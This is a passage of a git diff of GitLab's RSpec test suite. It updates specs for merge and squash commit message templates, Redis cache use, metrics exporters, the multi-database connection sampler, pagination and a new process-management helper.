+ See merge request %{reference}
+ MSG
+
+ it 'uses custom template' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+ end
+
+ context 'when project has commit template with closed issues' do
+ let(message_template_name) { <<~MSG.rstrip }
+ Merge branch '%{source_branch}' into '%{target_branch}'
+
+ %{title}
+
+ %{issues}
+
+ See merge request %{reference}
+ MSG
+
+ it 'omits issues and new lines when no issues are mentioned in description' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+
+ context 'when MR closes issues' do
+ let(:issue_1) { create(:issue, project: project) }
+ let(:issue_2) { create(:issue, project: project) }
+ let(:merge_request_description) { "Description\n\nclosing #{issue_1.to_reference}, #{issue_2.to_reference}" }
+
+ it 'includes them and keeps new line characters' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ Closes #{issue_1.to_reference} and #{issue_2.to_reference}
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+ end
+ end
+
+ context 'when project has commit template with description' do
+ let(message_template_name) { <<~MSG.rstrip }
+ Merge branch '%{source_branch}' into '%{target_branch}'
+
+ %{title}
+
+ %{description}
+
+ See merge request %{reference}
+ MSG
+
+ it 'uses template' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ Merge Request Description
+ Next line
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+
+ context 'when description is empty string' do
+ let(:merge_request_description) { '' }
+
+ it 'skips description placeholder and removes new line characters before it' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+ end
+
+ context 'when description is nil' do
+ let(:merge_request_description) { nil }
+
+ it 'skips description placeholder and removes new line characters before it' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+ end
+
+ context 'when description is blank string' do
+ let(:merge_request_description) { "\n\r \n" }
+
+ it 'skips description placeholder and removes new line characters before it' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+ end
+ end
+
+ context 'when custom commit template contains placeholder in the middle or beginning of the line' do
+ let(message_template_name) { <<~MSG.rstrip }
+ Merge branch '%{source_branch}' into '%{target_branch}'
+
+ %{description} %{title}
+
+ See merge request %{reference}
+ MSG
+
+ it 'uses custom template' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Merge Request Description
+ Next line Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+
+ context 'when description is empty string' do
+ let(:merge_request_description) { '' }
+
+ it 'does not remove new line characters before empty placeholder' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+ end
+ end
+
+ context 'when project has template with CRLF newlines' do
+ let(message_template_name) do
+ "Merge branch '%{source_branch}' into '%{target_branch}'\r\n\r\n%{title}\r\n\r\n%{description}\r\n\r\nSee merge request %{reference}"
+ end
+
+ it 'converts it to LF newlines' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ Merge Request Description
+ Next line
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+
+ context 'when description is empty string' do
+ let(:merge_request_description) { '' }
+
+ it 'skips description placeholder and removes new line characters before it' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Merge branch 'feature' into 'master'
+
+ Bugfix
+
+ See merge request #{merge_request.to_reference(full: true)}
+ MSG
+ end
+ end
+
+ context 'when project has merge commit template with first_commit' do
+ let(message_template_name) { <<~MSG.rstrip }
+ Message: %{first_commit}
+ MSG
+
+ it 'uses first commit' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Message: Feature added
+
+ Signed-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>
+ MSG
+ end
+
+ context 'when branch has no unmerged commits' do
+ let(:source_branch) { 'v1.1.0' }
+
+ it 'is an empty string' do
+ expect(result_message).to eq 'Message: '
+ end
+ end
+ end
+
+ context 'when project has merge commit template with first_multiline_commit' do
+ let(message_template_name) { <<~MSG.rstrip }
+ Message: %{first_multiline_commit}
+ MSG
+
+ it 'uses first multiline commit' do
+ expect(result_message).to eq <<~MSG.rstrip
+ Message: Feature added
+
+ Signed-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>
+ MSG
+ end
+
+ context 'when branch has no multiline commits' do
+ let(:source_branch) { 'spooky-stuff' }
+
+ it 'is mr title' do
+ expect(result_message).to eq 'Message: Bugfix'
+ end
+ end
+ end
+ end
+ end
+
+ describe '#merge_message' do
+ let(:result_message) { subject.merge_message }
+
+ it_behaves_like 'commit message with template', :merge_commit_template
+ end
+
+ describe '#squash_message' do
+ let(:result_message) { subject.squash_message }
+
+ it_behaves_like 'commit message with template', :squash_commit_template
+ end
+end
diff --git a/spec/lib/gitlab/merge_requests/merge_commit_message_spec.rb b/spec/lib/gitlab/merge_requests/merge_commit_message_spec.rb
deleted file mode 100644
index 884f8df5e56..00000000000
--- a/spec/lib/gitlab/merge_requests/merge_commit_message_spec.rb
+++ /dev/null
@@ -1,219 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::MergeRequests::MergeCommitMessage do
- let(:merge_commit_template) { nil }
- let(:project) { create(:project, :public, :repository, merge_commit_template: merge_commit_template) }
- let(:user) { project.creator }
- let(:merge_request_description) { "Merge Request Description\nNext line" }
- let(:merge_request_title) { 'Bugfix' }
- let(:merge_request) do
- create(
- :merge_request,
- :simple,
- source_project: project,
- target_project: project,
- author: user,
- description: merge_request_description,
- title: merge_request_title
- )
- end
-
- subject { described_class.new(merge_request: merge_request) }
-
- it 'returns nil when template is not set in target project' do
- expect(subject.message).to be_nil
- end
-
- context 'when project has custom merge commit template' do
- let(:merge_commit_template) { <<~MSG.rstrip }
- %{title}
-
- See merge request %{reference}
- MSG
-
- it 'uses custom template' do
- expect(subject.message).to eq <<~MSG.rstrip
- Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
- end
-
- context 'when project has merge commit template with closed issues' do
- let(:merge_commit_template) { <<~MSG.rstrip }
- Merge branch '%{source_branch}' into '%{target_branch}'
-
- %{title}
-
- %{issues}
-
- See merge request %{reference}
- MSG
-
- it 'omits issues and new lines when no issues are mentioned in description' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
-
- context 'when MR closes issues' do
- let(:issue_1) { create(:issue, project: project) }
- let(:issue_2) { create(:issue, project: project) }
- let(:merge_request_description) { "Description\n\nclosing #{issue_1.to_reference}, #{issue_2.to_reference}" }
-
- it 'includes them and keeps new line characters' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- Closes #{issue_1.to_reference} and #{issue_2.to_reference}
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
- end
- end
-
- context 'when project has merge commit template with description' do
- let(:merge_commit_template) { <<~MSG.rstrip }
- Merge branch '%{source_branch}' into '%{target_branch}'
-
- %{title}
-
- %{description}
-
- See merge request %{reference}
- MSG
-
- it 'uses template' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- Merge Request Description
- Next line
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
-
- context 'when description is empty string' do
- let(:merge_request_description) { '' }
-
- it 'skips description placeholder and removes new line characters before it' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
- end
-
- context 'when description is nil' do
- let(:merge_request_description) { nil }
-
- it 'skips description placeholder and removes new line characters before it' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
- end
-
- context 'when description is blank string' do
- let(:merge_request_description) { "\n\r \n" }
-
- it 'skips description placeholder and removes new line characters before it' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
- end
- end
-
- context 'when custom merge commit template contains placeholder in the middle or beginning of the line' do
- let(:merge_commit_template) { <<~MSG.rstrip }
- Merge branch '%{source_branch}' into '%{target_branch}'
-
- %{description} %{title}
-
- See merge request %{reference}
- MSG
-
- it 'uses custom template' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Merge Request Description
- Next line Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
-
- context 'when description is empty string' do
- let(:merge_request_description) { '' }
-
- it 'does not remove new line characters before empty placeholder' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
- end
- end
-
- context 'when project has template with CRLF newlines' do
- let(:merge_commit_template) do
- "Merge branch '%{source_branch}' into '%{target_branch}'\r\n\r\n%{title}\r\n\r\n%{description}\r\n\r\nSee merge request %{reference}"
- end
-
- it 'converts it to LF newlines' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- Merge Request Description
- Next line
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
-
- context 'when description is empty string' do
- let(:merge_request_description) { '' }
-
- it 'skips description placeholder and removes new line characters before it' do
- expect(subject.message).to eq <<~MSG.rstrip
- Merge branch 'feature' into 'master'
-
- Bugfix
-
- See merge request #{merge_request.to_reference(full: true)}
- MSG
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/merge_requests/mergeability/redis_interface_spec.rb b/spec/lib/gitlab/merge_requests/mergeability/redis_interface_spec.rb
index e5475d04d86..2471faf76b2 100644
--- a/spec/lib/gitlab/merge_requests/mergeability/redis_interface_spec.rb
+++ b/spec/lib/gitlab/merge_requests/mergeability/redis_interface_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::MergeRequests::Mergeability::RedisInterface, :clean_gitlab_redis_shared_state do
+RSpec.describe Gitlab::MergeRequests::Mergeability::RedisInterface, :clean_gitlab_redis_cache do
subject(:redis_interface) { described_class.new }
let(:merge_check) { double(cache_key: '13') }
@@ -11,17 +11,17 @@ RSpec.describe Gitlab::MergeRequests::Mergeability::RedisInterface, :clean_gitla
describe '#save_check' do
it 'saves the hash' do
- expect(Gitlab::Redis::SharedState.with { |redis| redis.get(expected_key) }).to be_nil
+ expect(Gitlab::Redis::Cache.with { |redis| redis.get(expected_key) }).to be_nil
redis_interface.save_check(merge_check: merge_check, result_hash: result_hash)
- expect(Gitlab::Redis::SharedState.with { |redis| redis.get(expected_key) }).to eq result_hash.to_json
+ expect(Gitlab::Redis::Cache.with { |redis| redis.get(expected_key) }).to eq result_hash.to_json
end
end
describe '#retrieve_check' do
it 'returns the hash' do
- Gitlab::Redis::SharedState.with { |redis| redis.set(expected_key, result_hash.to_json) }
+ Gitlab::Redis::Cache.with { |redis| redis.set(expected_key, result_hash.to_json) }
expect(redis_interface.retrieve_check(merge_check: merge_check)).to eq result_hash
end
diff --git a/spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb b/spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb
index e4f85243528..9cd1ef4094e 100644
--- a/spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb
+++ b/spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe Gitlab::Metrics::Exporter::BaseExporter do
- let(:exporter) { described_class.new }
- let(:log_filename) { File.join(Rails.root, 'log', 'sidekiq_exporter.log') }
let(:settings) { double('settings') }
+ let(:exporter) { described_class.new(settings) }
+ let(:log_filename) { File.join(Rails.root, 'log', 'sidekiq_exporter.log') }
before do
allow_any_instance_of(described_class).to receive(:log_filename).and_return(log_filename)
diff --git a/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb b/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb
index 01cf47a7c58..75bc3ba9626 100644
--- a/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb
+++ b/spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Metrics::Exporter::SidekiqExporter do
- let(:exporter) { described_class.new }
+ let(:exporter) { described_class.new(Settings.monitoring.sidekiq_exporter) }
after do
exporter.stop
@@ -50,40 +50,4 @@ RSpec.describe Gitlab::Metrics::Exporter::SidekiqExporter do
expect(exporter.log_filename).to end_with('sidekiq_exporter.log')
end
end
-
- context 'when port is already taken' do
- let(:first_exporter) { described_class.new }
-
- before do
- stub_config(
- monitoring: {
- sidekiq_exporter: {
- enabled: true,
- port: 9992,
- address: '127.0.0.1'
- }
- }
- )
-
- first_exporter.start
- end
-
- after do
- first_exporter.stop
- end
-
- it 'does print error message' do
- expect(Sidekiq.logger).to receive(:error)
- .with(
- class: described_class.to_s,
- message: 'Cannot start sidekiq_exporter',
- 'exception.message' => anything)
-
- exporter.start
- end
-
- it 'does not start thread' do
- expect(exporter.start).to be_nil
- end
- end
end
diff --git a/spec/lib/gitlab/metrics/samplers/database_sampler_spec.rb b/spec/lib/gitlab/metrics/samplers/database_sampler_spec.rb
index e97a4fdddcb..e8f8947c9e8 100644
--- a/spec/lib/gitlab/metrics/samplers/database_sampler_spec.rb
+++ b/spec/lib/gitlab/metrics/samplers/database_sampler_spec.rb
@@ -8,44 +8,169 @@ RSpec.describe Gitlab::Metrics::Samplers::DatabaseSampler do
it_behaves_like 'metrics sampler', 'DATABASE_SAMPLER'
describe '#sample' do
+ let(:main_labels) do
+ {
+ class: 'ActiveRecord::Base',
+ host: ApplicationRecord.database.config['host'],
+ port: ApplicationRecord.database.config['port'],
+ db_config_name: 'main'
+ }
+ end
+
+ let(:ci_labels) do
+ {
+ class: 'Ci::ApplicationRecord',
+ host: Ci::ApplicationRecord.database.config['host'],
+ port: Ci::ApplicationRecord.database.config['port'],
+ db_config_name: 'ci'
+ }
+ end
+
+ let(:main_replica_labels) do
+ {
+ class: 'ActiveRecord::Base',
+ host: 'main-replica-host',
+ port: 2345,
+ db_config_name: 'main_replica'
+ }
+ end
+
+ let(:ci_replica_labels) do
+ {
+ class: 'Ci::ApplicationRecord',
+ host: 'ci-replica-host',
+ port: 3456,
+ db_config_name: 'ci_replica'
+ }
+ end
+
before do
described_class::METRIC_DESCRIPTIONS.each_key do |metric|
allow(subject.metrics[metric]).to receive(:set)
end
+
+ allow(Gitlab::Database).to receive(:database_base_models)
+ .and_return({ main: ActiveRecord::Base, ci: Ci::ApplicationRecord })
end
- context 'for ActiveRecord::Base' do
- let(:labels) do
- {
- class: 'ActiveRecord::Base',
- host: ApplicationRecord.database.config['host'],
- port: ApplicationRecord.database.config['port']
- }
+ context 'when all base models are connected', :add_ci_connection do
+ it 'samples connection pool statistics for all primaries' do
+ expect_metrics_with_labels(main_labels)
+ expect_metrics_with_labels(ci_labels)
+
+ subject.sample
end
- context 'when the database is connected' do
- it 'samples connection pool statistics' do
- expect(subject.metrics[:size]).to receive(:set).with(labels, a_value >= 1)
- expect(subject.metrics[:connections]).to receive(:set).with(labels, a_value >= 1)
- expect(subject.metrics[:busy]).to receive(:set).with(labels, a_value >= 1)
- expect(subject.metrics[:dead]).to receive(:set).with(labels, a_value >= 0)
- expect(subject.metrics[:waiting]).to receive(:set).with(labels, a_value >= 0)
+ context 'when replica hosts are configured' do
+ let(:main_load_balancer) { ActiveRecord::Base.load_balancer } # rubocop:disable Database/MultipleDatabases
+ let(:main_replica_host) { main_load_balancer.host }
+
+ let(:ci_load_balancer) { double(:load_balancer, host_list: ci_host_list, configuration: configuration) }
+ let(:configuration) { double(:configuration, primary_connection_specification_name: 'Ci::ApplicationRecord') }
+ let(:ci_host_list) { double(:host_list, hosts: [ci_replica_host]) }
+ let(:ci_replica_host) { double(:host, connection: ci_connection) }
+ let(:ci_connection) { double(:connection, pool: Ci::ApplicationRecord.connection_pool) }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:each_load_balancer)
+ .and_return([main_load_balancer, ci_load_balancer].to_enum)
+
+ allow(main_load_balancer).to receive(:primary_only?).and_return(false)
+ allow(ci_load_balancer).to receive(:primary_only?).and_return(false)
+
+ allow(main_replica_host).to receive(:host).and_return('main-replica-host')
+ allow(ci_replica_host).to receive(:host).and_return('ci-replica-host')
+
+ allow(main_replica_host).to receive(:port).and_return(2345)
+ allow(ci_replica_host).to receive(:port).and_return(3456)
+
+ allow(Gitlab::Database).to receive(:db_config_name)
+ .with(main_replica_host.connection)
+ .and_return('main_replica')
+
+ allow(Gitlab::Database).to receive(:db_config_name)
+ .with(ci_replica_host.connection)
+ .and_return('ci_replica')
+ end
+
+ it 'samples connection pool statistics for primaries and replicas' do
+ expect_metrics_with_labels(main_labels)
+ expect_metrics_with_labels(ci_labels)
+ expect_metrics_with_labels(main_replica_labels)
+ expect_metrics_with_labels(ci_replica_labels)
subject.sample
end
end
+ end
+
+ context 'when a base model is not connected', :add_ci_connection do
+ before do
+ allow(Ci::ApplicationRecord).to receive(:connected?).and_return(false)
+ end
+
+ it 'records no samples for that primary' do
+ expect_metrics_with_labels(main_labels)
+ expect_no_metrics_with_labels(ci_labels)
+
+ subject.sample
+ end
+
+ context 'when the base model has replica connections' do
+ let(:main_load_balancer) { ActiveRecord::Base.load_balancer } # rubocop:disable Database/MultipleDatabases
+ let(:main_replica_host) { main_load_balancer.host }
+
+ let(:ci_load_balancer) { double(:load_balancer, host_list: ci_host_list, configuration: configuration) }
+ let(:configuration) { double(:configuration, primary_connection_specification_name: 'Ci::ApplicationRecord') }
+ let(:ci_host_list) { double(:host_list, hosts: [ci_replica_host]) }
+ let(:ci_replica_host) { double(:host, connection: ci_connection) }
+ let(:ci_connection) { double(:connection, pool: Ci::ApplicationRecord.connection_pool) }
- context 'when the database is not connected' do
before do
- allow(ActiveRecord::Base).to receive(:connected?).and_return(false)
+ allow(Gitlab::Database::LoadBalancing).to receive(:each_load_balancer)
+ .and_return([main_load_balancer, ci_load_balancer].to_enum)
+
+ allow(main_load_balancer).to receive(:primary_only?).and_return(false)
+ allow(ci_load_balancer).to receive(:primary_only?).and_return(false)
+
+ allow(main_replica_host).to receive(:host).and_return('main-replica-host')
+ allow(ci_replica_host).to receive(:host).and_return('ci-replica-host')
+
+ allow(main_replica_host).to receive(:port).and_return(2345)
+ allow(ci_replica_host).to receive(:port).and_return(3456)
+
+ allow(Gitlab::Database).to receive(:db_config_name)
+ .with(main_replica_host.connection)
+ .and_return('main_replica')
+
+ allow(Gitlab::Database).to receive(:db_config_name)
+ .with(ci_replica_host.connection)
+ .and_return('ci_replica')
end
- it 'records no samples' do
- expect(subject.metrics[:size]).not_to receive(:set).with(labels, anything)
+ it 'still records the replica metrics' do
+ expect_metrics_with_labels(main_labels)
+ expect_metrics_with_labels(main_replica_labels)
+ expect_no_metrics_with_labels(ci_labels)
+ expect_metrics_with_labels(ci_replica_labels)
subject.sample
end
end
end
+
+ def expect_metrics_with_labels(labels)
+ expect(subject.metrics[:size]).to receive(:set).with(labels, a_value >= 1)
+ expect(subject.metrics[:connections]).to receive(:set).with(labels, a_value >= 1)
+ expect(subject.metrics[:busy]).to receive(:set).with(labels, a_value >= 1)
+ expect(subject.metrics[:dead]).to receive(:set).with(labels, a_value >= 0)
+ expect(subject.metrics[:waiting]).to receive(:set).with(labels, a_value >= 0)
+ end
+
+ def expect_no_metrics_with_labels(labels)
+ described_class::METRIC_DESCRIPTIONS.each_key do |metric|
+ expect(subject.metrics[metric]).not_to receive(:set).with(labels, anything)
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
index a8e4f039da4..389b0ef1044 100644
--- a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
+++ b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
@@ -198,6 +198,7 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
context 'query using a connection to a replica' do
before do
allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).and_return(:replica)
+ allow(connection).to receive_message_chain(:pool, :db_config, :name).and_return(db_config_name)
end
it 'queries connection db role' do
diff --git a/spec/lib/gitlab/multi_collection_paginator_spec.rb b/spec/lib/gitlab/multi_collection_paginator_spec.rb
index c7c8f4f969f..080b3382684 100644
--- a/spec/lib/gitlab/multi_collection_paginator_spec.rb
+++ b/spec/lib/gitlab/multi_collection_paginator_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe Gitlab::MultiCollectionPaginator do
end
it 'fils the last page with elements from the second collection' do
- expected_collection = all_groups[-2..-1]
+ expected_collection = all_groups[-2..]
expect(paginator.paginate(3)).to eq(expected_collection)
end
diff --git a/spec/lib/gitlab/pagination/keyset/order_spec.rb b/spec/lib/gitlab/pagination/keyset/order_spec.rb
index 3c14d91fdfd..1bed8e542a2 100644
--- a/spec/lib/gitlab/pagination/keyset/order_spec.rb
+++ b/spec/lib/gitlab/pagination/keyset/order_spec.rb
@@ -127,7 +127,7 @@ RSpec.describe Gitlab::Pagination::Keyset::Order do
end
it do
- expect(subject).to eq(expected.reverse[1..-1]) # removing one item because we used it to calculate cursor data for the "last" page in subject
+ expect(subject).to eq(expected.reverse[1..]) # removing one item because we used it to calculate cursor data for the "last" page in subject
end
end
end
diff --git a/spec/lib/gitlab/pagination/offset_pagination_spec.rb b/spec/lib/gitlab/pagination/offset_pagination_spec.rb
index ffecbb06ff8..f8d50fbc517 100644
--- a/spec/lib/gitlab/pagination/offset_pagination_spec.rb
+++ b/spec/lib/gitlab/pagination/offset_pagination_spec.rb
@@ -82,7 +82,7 @@ RSpec.describe Gitlab::Pagination::OffsetPagination do
context 'when the api_kaminari_count_with_limit feature flag is enabled' do
before do
- stub_feature_flags(api_kaminari_count_with_limit: true, lower_relation_max_count_limit: false)
+ stub_feature_flags(api_kaminari_count_with_limit: true)
end
context 'when resources count is less than MAX_COUNT_LIMIT' do
@@ -120,41 +120,6 @@ RSpec.describe Gitlab::Pagination::OffsetPagination do
end
end
- context 'when lower_relation_max_count_limit FF is enabled' do
- before do
- stub_feature_flags(lower_relation_max_count_limit: true)
- end
-
- it_behaves_like 'paginated response'
- it_behaves_like 'response with pagination headers'
-
- context 'when limit is met' do
- before do
- stub_const("::Kaminari::ActiveRecordRelationMethods::MAX_COUNT_NEW_LOWER_LIMIT", 2)
- end
-
- it_behaves_like 'paginated response'
-
- it 'does not return the X-Total and X-Total-Pages headers' do
- expect_no_header('X-Total')
- expect_no_header('X-Total-Pages')
- expect_header('X-Per-Page', '2')
- expect_header('X-Page', '1')
- expect_header('X-Next-Page', '2')
- expect_header('X-Prev-Page', '')
-
- expect_header('Link', anything) do |_key, val|
- expect(val).to include(%Q(<#{incoming_api_projects_url}?#{query.merge(page: 1).to_query}>; rel="first"))
- expect(val).to include(%Q(<#{incoming_api_projects_url}?#{query.merge(page: 2).to_query}>; rel="next"))
- expect(val).not_to include('rel="last"')
- expect(val).not_to include('rel="prev"')
- end
-
- subject.paginate(resource)
- end
- end
- end
-
it 'does not return the total headers when excluding them' do
expect_no_header('X-Total')
expect_no_header('X-Total-Pages')
diff --git a/spec/lib/gitlab/patch/legacy_database_config_spec.rb b/spec/lib/gitlab/patch/legacy_database_config_spec.rb
index e6c0bdbf360..b87e16f31ae 100644
--- a/spec/lib/gitlab/patch/legacy_database_config_spec.rb
+++ b/spec/lib/gitlab/patch/legacy_database_config_spec.rb
@@ -11,6 +11,9 @@ RSpec.describe Gitlab::Patch::LegacyDatabaseConfig do
let(:configuration) { Rails::Application::Configuration.new(Rails.root) }
before do
+ allow(File).to receive(:exist?).and_call_original
+ allow(File).to receive(:exist?).with(Rails.root.join("config/database_geo.yml")).and_return(false)
+
# The `AS::ConfigurationFile` calls `read` in `def initialize`
# thus we cannot use `expect_next_instance_of`
# rubocop:disable RSpec/AnyInstanceOf
diff --git a/spec/lib/gitlab/process_management_spec.rb b/spec/lib/gitlab/process_management_spec.rb
new file mode 100644
index 00000000000..a71a476b540
--- /dev/null
+++ b/spec/lib/gitlab/process_management_spec.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require_relative '../../../lib/gitlab/process_management'
+
+RSpec.describe Gitlab::ProcessManagement do
+ describe '.trap_signals' do
+ it 'traps the given signals' do
+ expect(described_class).to receive(:trap).ordered.with(:INT)
+ expect(described_class).to receive(:trap).ordered.with(:HUP)
+
+ described_class.trap_signals(%i(INT HUP))
+ end
+ end
+
+ describe '.modify_signals' do
+ it 'traps the given signals with the given command' do
+ expect(described_class).to receive(:trap).ordered.with(:INT, 'DEFAULT')
+ expect(described_class).to receive(:trap).ordered.with(:HUP, 'DEFAULT')
+
+ described_class.modify_signals(%i(INT HUP), 'DEFAULT')
+ end
+ end
+
+ describe '.signal_processes' do
+ it 'sends a signal to every given process' do
+ expect(described_class).to receive(:signal).with(1, :INT)
+
+ described_class.signal_processes([1], :INT)
+ end
+ end
+
+ describe '.signal' do
+ it 'sends a signal to the given process' do
+ allow(Process).to receive(:kill).with(:INT, 4)
+ expect(described_class.signal(4, :INT)).to eq(true)
+ end
+
+ it 'returns false when the process does not exist' do
+ allow(Process).to receive(:kill).with(:INT, 4).and_raise(Errno::ESRCH)
+ expect(described_class.signal(4, :INT)).to eq(false)
+ end
+ end
+
+ describe '.wait_async' do
+ it 'waits for a process in a separate thread' do
+ thread = described_class.wait_async(Process.spawn('true'))
+
+ # Upon success Process.wait just returns the PID.
+ expect(thread.value).to be_a_kind_of(Numeric)
+ end
+ end
+
+ # In the X_alive? checks, we check negative PIDs sometimes as a simple way
+ # to be sure the pids are definitely for non-existent processes.
+ # Note that -1 is special, and sends the signal to every process we have permission
+ # for, so we use -2, -3 etc
+ describe '.all_alive?' do
+ it 'returns true if all processes are alive' do
+ processes = [Process.pid]
+
+ expect(described_class.all_alive?(processes)).to eq(true)
+ end
+
+ it 'returns false when a thread was not alive' do
+ processes = [-2]
+
+ expect(described_class.all_alive?(processes)).to eq(false)
+ end
+ end
+
+ describe '.process_alive?' do
+ it 'returns true if the process is alive' do
+ process = Process.pid
+
+ expect(described_class.process_alive?(process)).to eq(true)
+ end
+
+ it 'returns false when a thread was not alive' do
+ process = -2
+
+ expect(described_class.process_alive?(process)).to eq(false)
+ end
+
+ it 'returns false when no pid is given' do
+ process = nil
+
+ expect(described_class.process_alive?(process)).to eq(false)
+ end
+ end
+
+ describe '.process_died?' do
+ it 'returns false if the process is alive' do
+ process = Process.pid
+
+ expect(described_class.process_died?(process)).to eq(false)
+ end
+
+ it 'returns true when a thread was not alive' do
+ process = -2
+
+ expect(described_class.process_died?(process)).to eq(true)
+ end
+
+ it 'returns true when no pid is given' do
+ process = nil
+
+ expect(described_class.process_died?(process)).to eq(true)
+ end
+ end
+
+ describe '.pids_alive' do
+ it 'returns the pids that are alive, from a given array' do
+ pids = [Process.pid, -2]
+
+ expect(described_class.pids_alive(pids)).to match_array([Process.pid])
+ end
+ end
+
+ describe '.any_alive?' do
+ it 'returns true if at least one process is alive' do
+ processes = [Process.pid, -2]
+
+ expect(described_class.any_alive?(processes)).to eq(true)
+ end
+
+ it 'returns false when all threads are dead' do
+ processes = [-2, -3]
+
+ expect(described_class.any_alive?(processes)).to eq(false)
+ end
+ end
+
+ describe '.write_pid' do
+ it 'writes the PID of the current process to the given file' do
+ handle = double(:handle)
+
+ allow(File).to receive(:open).with('/dev/null', 'w').and_yield(handle)
+
+ expect(handle).to receive(:write).with(Process.pid.to_s)
+
+ described_class.write_pid('/dev/null')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/quick_actions/dsl_spec.rb b/spec/lib/gitlab/quick_actions/dsl_spec.rb
index f990abfb253..942d347424f 100644
--- a/spec/lib/gitlab/quick_actions/dsl_spec.rb
+++ b/spec/lib/gitlab/quick_actions/dsl_spec.rb
@@ -96,8 +96,8 @@ RSpec.describe Gitlab::QuickActions::Dsl do
expect(dynamic_description_def.name).to eq(:dynamic_description)
expect(dynamic_description_def.aliases).to eq([])
- expect(dynamic_description_def.to_h(OpenStruct.new(noteable: 'issue'))[:description]).to eq('A dynamic description for ISSUE')
- expect(dynamic_description_def.execute_message(OpenStruct.new(noteable: 'issue'), 'arg')).to eq('A dynamic execution message for ISSUE passing arg')
+ expect(dynamic_description_def.to_h(double('desc', noteable: 'issue'))[:description]).to eq('A dynamic description for ISSUE')
+ expect(dynamic_description_def.execute_message(double('desc', noteable: 'issue'), 'arg')).to eq('A dynamic execution message for ISSUE passing arg')
expect(dynamic_description_def.params).to eq(['The first argument', 'The second argument'])
expect(dynamic_description_def.condition_block).to be_nil
expect(dynamic_description_def.types).to eq([])
